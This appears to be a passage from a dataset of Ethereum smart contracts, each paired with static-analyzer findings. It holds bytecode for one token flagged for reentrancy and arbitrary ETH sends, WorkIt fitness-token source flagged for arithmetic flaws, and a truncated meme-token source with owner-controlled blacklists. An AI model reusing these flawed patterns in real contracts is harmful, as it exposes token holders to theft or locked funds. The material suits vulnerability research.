60046119c8565b6108d8565b3480156104a857600080fd5b506102a56108f3565b3480156104bd57600080fd5b506102a56104cc3660046119c8565b610967565b3480156104dd57600080fd5b506102a56104ec3660046119e5565b6109d5565b3480156104fd57600080fd5b506000546001600160a01b0316610403565b34801561051b57600080fd5b50600f546102759062010000900460ff1681565b34801561053b57600080fd5b5061023f6040518060400160405280600a81526020016923a920a9a9aca1292aa760b11b81525081565b34801561057157600080fd5b506102a5610a04565b34801561058657600080fd5b5061027561059536600461185e565b610c09565b3480156105a657600080fd5b50600754610403906001600160a01b031681565b3480156105c657600080fd5b506102a56105d5366004611903565b610c16565b3480156105e657600080fd5b506102a5610d2f565b3480156105fb57600080fd5b506102a5610d45565b34801561061057600080fd5b506102be610f41565b34801561062557600080fd5b506102a5610634366004611a0c565b610f59565b34801561064557600080fd5b506102be610654366004611a29565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b600061068c338484610fd6565b50600192915050565b6000546001600160a01b031633146106c85760405162461bcd60e51b81526004016106bf90611a62565b60405180910390fd5b6009829055600a81905560408051838152602081018390527f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1910160405180910390a15050565b600061071c8484846110fa565b6001600160a01b038416600090815260036020908152604080832033845290915281205461074b908490611aad565b9050610758853383610fd6565b506001949350505050565b600061076e306108d8565b905090565b6000546001600160a01b0316331461079d5760405162461bcd60e51b81526004016106bf90611a62565b60005b8151811015610805576000600560008484815181106107c1576107c1611ac4565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806107fd81611ada565b9150506107a0565b5050565b6000546001600160a01b031633146108335760405162461bcd60e51b81526004016106bf90611a62565b6007546001600160a01b0316336001600160a01b03161461085357600080fd5b6000811161086057600080fd5b600b8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8906020015b60405180910390a150565b6000546001600160a01b031633146108c65760405162461bcd60e51b81526004016106bf90611a62565b600d55565b476108d5816114b1565b50565b6001600160a01b031660009081526002602052604090205490565b6000546001600160a01b0316331461091d5760405162461bcd60e51b81526004016106bf90611a62565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6007546001600160a01b0316336001600160a01b03161461098757600080fd5b600780546001600160a01b0319166001600160a01b0383169081179091556040519081527f5a9bcd8aea0cbf27de081c73815e420f65287b49bcf7a17ff691c61a2dd2d2d690602001610891565b6000546001600160a01b031633146109ff5760405162461bcd60e51b81526004016106bf90611a62565b600c55565b6000546001600160a01b03163314610a2e5760405162461bcd60e51b81526004016106bf90611a62565b600f5460ff1615610a7b5760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b60448201526064016106bf565b600680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa158015610ae0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b049190611af3565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b51573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b759190611af3565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610bc2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610be69190611af3565b600880546001600160a01b0319166001600160a01b039290921691909117905550565b600061068c3384846110fa565b6000546001600160a01b03163314610c405760405162461bcd60e51b81526004016106bf90611a62565b60005b81518110156108055760085482516001600160a01b0390911690839083908110610c6f57610c6f611ac4565b60200260200101516001600160a01b031614158015610cc0575060065482516001600160a01b0390911690839083908110610cac57610cac611ac4565b60200260200101516001600160a01b031614155b15610d1d57600160056000848481518110610cdd57610cdd611ac4565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610d2781611ada565b915050610c43565b6000610d3a306108d8565b90506108d5816114eb565b6000546001600160a01b03163314610d6f5760405162461bcd60e51b81526004016106bf90611a62565b600f5460ff1615610dbc5760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b60448201526064016106bf565b600654610ddc9030906001600160a01b03166705d423c655aa0000610fd6565b6006546001600160a01b031663f305d7194730610df8816108d8565b600080610e0d6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610e75573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610e9a9190611b10565b505060085460065460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610ef3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f179190611b3e565b50600f805460ff1916600117905542600e55661dd7c1681d0000600c55663baf82d03a0000600d55565b60085460009061076e906001600160a01b03166108d8565b6000546001600160a01b03163314610f835760405162461bcd60e51b81526004016106bf90611a62565b600f805462ff00001916620100008315158102919091179182905560405160ff9190920416151581527ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb90602001610891565b6001600160a01b0383166110385760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016106bf565b6001600160a01b0382166110995760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016106bf565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526005602052604090205460ff161561112057600080fd5b6001600160a01b0383166111845760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016106bf565b6001600160a01b0382166111e65760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016106bf565b600081116112485760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016106bf565b600080546001600160a01b0385811691161480159061127557506000546001600160a01b03848116911614155b15611452576008546001600160a01b0385811691161480156112a557506006546001600160a01b03848116911614155b80156112ca57506001600160a01b03831660009081526004602052604090205460ff16155b1561136b57600f5460ff166113215760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e000000000000000060448201526064016106bf565b42600e5460b46113319190611b5b565b111561136757600c5482111561134657600080fd5b600d54611352846108d8565b61135c9084611b5b565b111561136757600080fd5b5060015b600f54610100900460ff161580156113855750600f5460ff165b801561139f57506008546001600160a01b03858116911614155b156114525760006113af306108d8565b9050801561143b57600f5462010000900460ff161561143257600b54600854606491906113e4906001600160a01b03166108d8565b6113ee9190611b73565b6113f89190611b92565b81111561143257600b546008546064919061141b906001600160a01b03166108d8565b6114259190611b73565b61142f9190611b92565b90505b61143b816114eb565b47801561144b5761144b476114b1565b6000925050505b6001600160a01b03841660009081526004602052604090205460019060ff168061149457506001600160a01b03841660009081526004602052604090205460ff165b1561149d575060005b6114aa858585848661165f565b5050505050565b6007546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610805573d6000803e3d6000fd5b600f805461ff001916610100179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061152f5761152f611ac4565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611588573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115ac9190611af3565b816001815181106115bf576115bf611ac4565b6001600160a01b0392831660209182029290920101526006546115e59130911684610fd6565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac9479061161e908590600090869030904290600401611bb4565b600060405180830381600087803b15801561163857600080fd5b505af115801561164c573d6000803e3d6000fd5b5050600f805461ff001916905550505050565b600061166b8383611681565b9050611679868686846116a5565b505050505050565b600080831561169e578215611699575060095461169e565b50600a545b9392505050565b6000806116b28484611782565b6001600160a01b03881660009081526002602052604090205491935091506116db908590611aad565b6001600160a01b03808816600090815260026020526040808220939093559087168152205461170b908390611b5b565b6001600160a01b03861660009081526002602052604090205561172d816117b6565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161177291815260200190565b60405180910390a3505050505050565b6000808060646117928587611b73565b61179c9190611b92565b905060006117aa8287611aad565b96919550909350505050565b306000908152600260205260409020546117d1908290611b5b565b3060009081526002602052604090205550565b600060208083528351808285015260005b81811015611811578581018301518582016040015282016117f5565b81811115611823576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146108d557600080fd5b803561185981611839565b919050565b6000806040838503121561187157600080fd5b823561187c81611839565b946020939093013593505050565b6000806040838503121561189d57600080fd5b50508035926020909101359150565b6000806000606084860312156118c157600080fd5b83356118cc81611839565b925060208401356118dc81611839565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561191657600080fd5b823567ffffffffffffffff8082111561192e57600080fd5b818501915085601f83011261194257600080fd5b813581811115611954576119546118ed565b8060051b604051601f19603f83011681018181108582111715611979576119796118ed565b60405291825284820192508381018501918883111561199757600080fd5b938501935b828510156119bc576119ad8561184e565b8452938501939285019261199c565b98975050505050505050565b6000602082840312156119da57600080fd5b813561169e81611839565b6000602082840312156119f757600080fd5b5035919050565b80151581146108d557600080fd5b600060208284031215611a1e57600080fd5b813561169e816119fe565b60008060408385031215611a3c57600080fd5b8235611a4781611839565b91506020830135611a5781611839565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600082821015611abf57611abf611a97565b500390565b634e487b7160e01b600052603260045260246000fd5b600060018201611aec57611aec611a97565b5060010190565b600060208284031215611b0557600080fd5b815161169e81611839565b600080600060608486031215611b2557600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611b5057600080fd5b815161169e816119fe565b60008219821115611b6e57611b6e611a97565b500190565b6000816000190483118215151615611b8d57611b8d611a97565b500290565b600082611baf57634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611c045784516001600160a01b031683529383019391830191600101611bdf565b50506001600160a01b0396909616606085015250505060800152939250505056fea26469706673582212208b8fe0c5375b1aa2fd771c98fe67380d24d8f7c0e6fdb5dea05c120d4cdd0f5a64736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
4,883
0xf5afd766244371da7a12befc5662cc1b7f6e8d17
pragma solidity ^0.4.0; contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } contract WorkIt is ERC20Interface { // non-fixed supply ERC20 implementation string public constant name = "WorkIt Token"; string public constant symbol = "WIT"; uint _totalSupply = 0; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowances; function totalSupply() public constant returns (uint) { return _totalSupply; } function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowances[tokenOwner][spender]; } function transfer(address to, uint tokens) public returns (bool success) { require(balances[msg.sender] >= tokens); balances[msg.sender] = balances[msg.sender] - tokens; balances[to] = balances[to] + tokens; emit Transfer(msg.sender, to, tokens); return true; } function approve(address spender, uint tokens) public returns (bool success) { allowances[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { require(allowances[from][msg.sender] >= tokens); require(balances[from] >= tokens); allowances[from][msg.sender] = allowances[from][msg.sender] - tokens; balances[from] = balances[from] - tokens; balances[to] = balances[to] + tokens; emit Transfer(from, to, tokens); return true; } // End ERC-20 implementation struct WeekCommittment { uint daysCompleted; uint daysCommitted; mapping(uint => uint) workoutProofs; uint tokensCommitted; uint tokensEarned; bool tokensPaid; } struct WeekData { bool initialized; uint totalPeopleCompleted; uint totalPeople; uint totalDaysCommitted; uint totalDaysCompleted; uint totalTokensCompleted; uint totalTokens; } uint public weiPerToken = 1000000000000000; // 1000 WITs per eth uint secondsPerDay = 86400; uint daysPerWeek = 7; mapping(uint => WeekData) public dataPerWeek; mapping (address => mapping(uint => WeekCommittment)) public commitments; mapping(uint => string) imageHashes; uint imageHashCount; uint public startDate; address public owner; constructor() public { owner = msg.sender; // Round down to the nearest day at 00:00Z (UTC -6) startDate = (block.timestamp / secondsPerDay) * secondsPerDay - 60 * 6; } event Log(string message); // Fallback function executed when ethereum is received with no function call function () public payable { buyTokens(msg.value / weiPerToken); } // Buy tokens function buyTokens(uint tokens) public payable { require(msg.value >= tokens * weiPerToken); balances[msg.sender] += tokens; _totalSupply += tokens; } // Commit to exercising this week function commitToWeek(uint tokens, uint _days) public { // Need at least 10 tokens to participate if (balances[msg.sender] < tokens || tokens < 10) { emit Log("You need to bet at least 10 tokens to commit"); require(false); } if (_days == 0) { emit Log("You cannot register for 0 days of activity"); require(false); } if (_days > daysPerWeek) { emit Log("You cannot register for more than 7 days per week"); require(false); } if (_days > daysPerWeek - currentDayOfWeek()) { emit Log("It is too late in the week for you to register"); require(false); } WeekCommittment storage commitment = commitments[msg.sender][currentWeek()]; if (commitment.tokensCommitted != 0) { emit Log("You have already committed to this week"); require(false); } balances[0x0] = balances[0x0] + tokens; balances[msg.sender] = balances[msg.sender] - tokens; emit Transfer(msg.sender, 0x0, tokens); initializeWeekData(currentWeek()); WeekData storage data = dataPerWeek[currentWeek()]; data.totalPeople++; data.totalTokens += tokens; data.totalDaysCommitted += _days; commitment.daysCommitted = _days; commitment.daysCompleted = 0; commitment.tokensCommitted = tokens; commitment.tokensEarned = 0; commitment.tokensPaid = false; } // Payout your available balance based on your activity in previous weeks function payout() public { require(currentWeek() > 0); for (uint activeWeek = currentWeek() - 1; true; activeWeek--) { WeekCommittment storage committment = commitments[msg.sender][activeWeek]; if (committment.tokensPaid) { break; } if (committment.daysCommitted == 0) { committment.tokensPaid = true; // Handle edge case and avoid -1 if (activeWeek == 0) break; continue; } initializeWeekData(activeWeek); WeekData storage week = dataPerWeek[activeWeek]; uint tokensFromPool = 0; uint tokens = committment.tokensCommitted * committment.daysCompleted / committment.daysCommitted; if (week.totalPeopleCompleted == 0) { tokensFromPool = (week.totalTokens - week.totalTokensCompleted) / week.totalPeople; tokens = 0; } else if (committment.daysCompleted == committment.daysCommitted) { tokensFromPool = (week.totalTokens - week.totalTokensCompleted) / week.totalPeopleCompleted; } uint totalTokens = tokensFromPool + tokens; if (totalTokens == 0) { committment.tokensPaid = true; // Handle edge case and avoid -1 if (activeWeek == 0) break; continue; } balances[0x0] = balances[0x0] - totalTokens; balances[msg.sender] = balances[msg.sender] + totalTokens; emit Transfer(0x0, msg.sender, totalTokens); committment.tokensEarned = totalTokens; committment.tokensPaid = true; // Handle edge case and avoid -1 if (activeWeek == 0) break; } } // Post image data to the blockchain and log completion // TODO: If not committed for this week use last weeks tokens and days (if it exists) function postProof(string proofHash) public { WeekCommittment storage committment = commitments[msg.sender][currentWeek()]; if (committment.daysCompleted > currentDayOfWeek()) { emit Log("You have already uploaded proof for today"); require(false); } if (committment.tokensCommitted == 0) { emit Log("You have not committed to this week yet"); require(false); } if (committment.workoutProofs[currentDayOfWeek()] != 0) { emit Log("Proof has already been stored for this day"); require(false); } if (committment.daysCompleted >= committment.daysCommitted) { // Don't allow us to go over our committed days return; } committment.workoutProofs[currentDayOfWeek()] = storeImageString(proofHash); committment.daysCompleted++; initializeWeekData(currentWeek()); WeekData storage week = dataPerWeek[currentWeek()]; week.totalDaysCompleted++; week.totalTokensCompleted = week.totalTokens * week.totalDaysCompleted / week.totalDaysCommitted; if (committment.daysCompleted >= committment.daysCommitted) { week.totalPeopleCompleted++; } } // Withdraw tokens to eth function withdraw(uint tokens) public returns (bool success) { require(balances[msg.sender] >= tokens); uint weiToSend = tokens * weiPerToken; require(address(this).balance >= weiToSend); balances[msg.sender] = balances[msg.sender] - tokens; _totalSupply -= tokens; return msg.sender.send(tokens * weiPerToken); } // Store an image string and get back a numerical identifier function storeImageString(string hash) public returns (uint index) { imageHashes[++imageHashCount] = hash; return imageHashCount; } // Initialize a week data struct function initializeWeekData(uint _week) public { if (dataPerWeek[_week].initialized) return; WeekData storage week = dataPerWeek[_week]; week.initialized = true; week.totalTokensCompleted = 0; week.totalPeopleCompleted = 0; week.totalTokens = 0; week.totalPeople = 0; week.totalDaysCommitted = 0; week.totalDaysCompleted = 0; } // Get the current day (from contract creation) function currentDay() public view returns (uint day) { return (block.timestamp - startDate) / secondsPerDay; } // Get the current week (from contract creation) function currentWeek() public view returns (uint week) { return currentDay() / daysPerWeek; } // Get current relative day of week (0-6) function currentDayOfWeek() public view returns (uint dayIndex) { // Uses the floor to calculate offset return currentDay() - (currentWeek() * daysPerWeek); } }
0x6080604052600436106101325763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306575c89811461014a5780630658b5741461017157806306fdde03146101ca578063095ea7b3146102545780630b97bc861461028c57806318160ddd146102a157806323b872dd146102b65780632e1a7d4d146102e05780632e9efb8e146102f85780633610724e146103135780635c9302c91461031e57806363bd1d4a1461033357806370a08231146103485780638da5cb5b1461036957806395d89b411461039a57806399ca856c146103af578063a3515b9814610400578063a9059cbb14610418578063bc25e2fd1461043c578063d53da32a14610495578063dab8263a146104e7578063dd62ed3e146104fc578063ed81f68114610523575b6101486003543481151561014257fe5b04610538565b005b34801561015657600080fd5b5061015f610567565b60408051918252519081900360200190f35b34801561017d57600080fd5b506040805160206004803580820135601f810184900484028501840190955284845261015f9436949293602493928401919081908401838280828437509497506105849650505050505050565b3480156101d657600080fd5b506101df6105b7565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610219578181015183820152602001610201565b50505050905090810190601f1680156102465780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561026057600080fd5b50610278600160a060020a03600435166024356105ee565b604080519115158252519081900360200190f35b34801561029857600080fd5b5061015f610654565b3480156102ad57600080fd5b5061015f61065a565b3480156102c257600080fd5b50610278600160a060020a0360043581169060243516604435610660565b3480156102ec57600080fd5b5061027860043561072d565b34801561030457600080fd5b506101486004356024356107a1565b610148600435610538565b34801561032a57600080fd5b5061015f610b53565b34801561033f57600080fd5b50610148610b66565b34801561035457600080fd5b5061015f600160a060020a0360043516610d3e565b34801561037557600080fd5b5061037e610d59565b60408051600160a060020a039092168252519081900360200190f35b3480156103a657600080fd5b506101df610d68565b3480156103bb57600080fd5b506103d3600160a060020a0360043516602435610d9f565b60408051958652602086019490945284840192909252606084015215156080830152519081900360a00190f35b34801561040c57600080fd5b50610148600435610ddc565b34801561042457600080fd5b50610278600160a060020a0360043516602435610e43565b34801561044857600080fd5b506040805160206004803580820135601f8101849004840285018401909552848452610148943694929360249392840191908190840183828082843750949750610ebb9650505050505050565b3480156104a157600080fd5b506104ad60043561113f565b6040805197151588526020880196909652868601949094526060860192909252608085015260a084015260c0830152519081900360e00190f35b3480156104f357600080fd5b5061015f611181565b34801561050857600080fd5b5061015f600160a060020a0360043581169060243516611187565b34801561052f57600080fd5b5061015f6111b2565b600354810234101561054957600080fd5b33600090815260016020526040812080548301905580549091019055565b6000600554610574610b53565b81151561057d57fe5b0490505b90565b60098054600101908190556000908152600860209081526040822083516105ad928501906111ce565b5050600954919050565b60408051808201909152600c81527f576f726b497420546f6b656e0000000000000000000000000000000000000000602082015281565b336000818152600260209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b600a5481565b60005490565b600160a060020a038316600090815260026020908152604080832033845290915281205482111561069057600080fd5b600160a060020a0384166000908152600160205260409020548211156106b557600080fd5b600160a060020a038085166000818152600260209081526040808320338452825280832080548890039055838352600182528083208054889003905593871680835291849020805487019055835186815293519193600080516020611287833981519152929081900390910190a35060019392505050565b33600090815260016020526040812054819083111561074b57600080fd5b506003548202303181111561075f57600080fd5b336000818152600160205260408082208054879003905581548690038255600354905190860280156108fc0292909190818181858888f1979650505050505050565b3360009081526001602052604081205481908411806107c05750600a84105b1561083e57604080516020808252602c908201527f596f75206e65656420746f20626574206174206c6561737420313020746f6b65818301527f6e7320746f20636f6d6d69740000000000000000000000000000000000000000606082015290516000805160206112678339815191529181900360800190a1600080fd5b8215156108be57604080516020808252602a908201527f596f752063616e6e6f7420726567697374657220666f7220302064617973206f818301527f6620616374697669747900000000000000000000000000000000000000000000606082015290516000805160206112678339815191529181900360800190a1600080fd5b600554831115610941576040805160208082526031908201527f596f752063616e6e6f7420726567697374657220666f72206d6f726520746861818301527f6e2037206461797320706572207765656b000000000000000000000000000000606082015290516000805160206112678339815191529181900360800190a1600080fd5b6109496111b2565b600554038311156109cd57604080516020808252602e908201527f497420697320746f6f206c61746520696e20746865207765656b20666f722079818301527f6f7520746f207265676973746572000000000000000000000000000000000000606082015290516000805160206112678339815191529181900360800190a1600080fd5b336000908152600760205260408120906109e5610567565b8152602001908152602001600020915081600301546000141515610a7c576040805160208082526027908201527f596f75206861766520616c726561647920636f6d6d697474656420746f207468818301527f6973207765656b00000000000000000000000000000000000000000000000000606082015290516000805160206112678339815191529181900360800190a1600080fd5b600160209081527fa6eef7e35abe7026729641147f7915573c7e97b47efa546f5f6e3230263bcb4980548601905533600081815260408082208054899003905580518881529051919360008051602061128783398151915292918290030190a3610aec610ae7610567565b610ddc565b60066000610af8610567565b8152602081019190915260400160009081206002810180546001908101909155600682018054880190556003918201805487019055840194909455808355928201939093556004810191909155600501805460ff1916905550565b6000600454600a54420381151561057d57fe5b6000806000806000806000610b79610567565b11610b8357600080fd5b6001610b8d610567565b0395505b3360009081526007602090815260408083208984529091529020600581015490955060ff1615610bc057610d36565b60018501541515610beb5760058501805460ff19166001179055851515610be657610d36565b610d2a565b610bf486610ddc565b60008681526006602052604081206001870154875460038901549297509295509102811515610c1f57fe5b049150836001015460001415610c545783600201548460050154856006015403811515610c4857fe5b04925060009150610c7e565b600185015485541415610c7e5783600101548460050154856006015403811515610c7a57fe5b0492505b50818101801515610ca45760058501805460ff19166001179055851515610be657610d36565b600160209081527fa6eef7e35abe7026729641147f7915573c7e97b47efa546f5f6e3230263bcb498054839003905533600081815260408082208054860190558051858152905192939192600080516020611287833981519152929181900390910190a36004850181905560058501805460ff19166001179055851515610d2a57610d36565b60001990950194610b91565b505050505050565b600160a060020a031660009081526001602052604090205490565b600b54600160a060020a031681565b60408051808201909152600381527f5749540000000000000000000000000000000000000000000000000000000000602082015281565b6007602090815260009283526040808420909152908252902080546001820154600383015460048401546005909401549293919290919060ff1685565b60008181526006602052604081205460ff1615610df857610e3f565b5060008181526006602081905260408220805460ff191660019081178255600582018490558101839055908101829055600281018290556003810182905560048101919091555b5050565b33600090815260016020526040812054821115610e5f57600080fd5b33600081815260016020908152604080832080548790039055600160a060020a0387168084529281902080548701905580518681529051929392600080516020611287833981519152929181900390910190a350600192915050565b336000908152600760205260408120819081610ed5610567565b81526020019081526020016000209150610eed6111b2565b82541115610f6e576040805160208082526029908201527f596f75206861766520616c72656164792075706c6f616465642070726f6f6620818301527f666f7220746f6461790000000000000000000000000000000000000000000000606082015290516000805160206112678339815191529181900360800190a1600080fd5b60038201541515610ff2576040805160208082526027908201527f596f752068617665206e6f7420636f6d6d697474656420746f20746869732077818301527f65656b2079657400000000000000000000000000000000000000000000000000606082015290516000805160206112678339815191529181900360800190a1600080fd5b8160020160006110006111b2565b81526020810191909152604001600020541561108f57604080516020808252602a908201527f50726f6f662068617320616c7265616479206265656e2073746f72656420666f818301527f7220746869732064617900000000000000000000000000000000000000000000606082015290516000805160206112678339815191529181900360800190a1600080fd5b60018201548254106110a05761113a565b6110a983610584565b8260020160006110b76111b2565b8152602081019190915260400160002055815460010182556110da610ae7610567565b600660006110e6610567565b815260208101919091526040016000206004810180546001019081905560038201546006830154929350910281151561111b57fe5b046005820155600182015482541061113a576001808201805490910190555b505050565b6006602081905260009182526040909120805460018201546002830154600384015460048501546005860154959096015460ff90941695929491939092919087565b60035481565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b60006005546111bf610567565b026111c8610b53565b03905090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061120f57805160ff191683800117855561123c565b8280016001018555821561123c579182015b8281111561123c578251825591602001919060010190611221565b5061124892915061124c565b5090565b61058191905b8082111561124857600081556001016112525600cf34ef537ac33ee1ac626ca1587a0a7e8e51561e5514f8cb36afa1c5102b3babddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a723058208d7a24d805d82b8b8ddacf3382b67dc862d7c7b946eb74e0130fcee68c9d6f240029
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
4,884
0xd6be069d7e4198ac877822745e6c733218b0f27f
// SPDX-License-Identifier: Unlicensed /** Zero Inu($ZERO) Website: zeroinu.us Tg:https://t.me/zeroinu */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract ZERO is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Zero Inu"; string private constant _symbol = "ZERO"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping (address => uint256) private _buyMap; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; mapping(address => bool) private _isSniper; uint256 public launchTime; uint256 private _redisFeeJeets = 3; uint256 private _taxFeeJeets = 10; uint256 private _redisFeeOnBuy = 3; uint256 private _taxFeeOnBuy = 10; uint256 private _redisFeeOnSell = 3; uint256 private _taxFeeOnSell = 10; uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _burnFee = 30; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; uint256 private _previousburnFee = _burnFee; address payable private _marketingAddress = payable(0x0A8f31dBf7A8F1Df8b5770B233b6F276a8Fe4eeD); address public constant deadAddress = 0x000000000000000000000000000000000000dEaD; uint256 public timeJeets = 2 minutes; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; bool private isMaxBuyActivated = true; uint256 public _maxTxAmount = 2e10 * 10**9; uint256 public _maxWalletSize = 2e10 * 10**9; uint256 public _swapTokensAtAmount = 1000 * 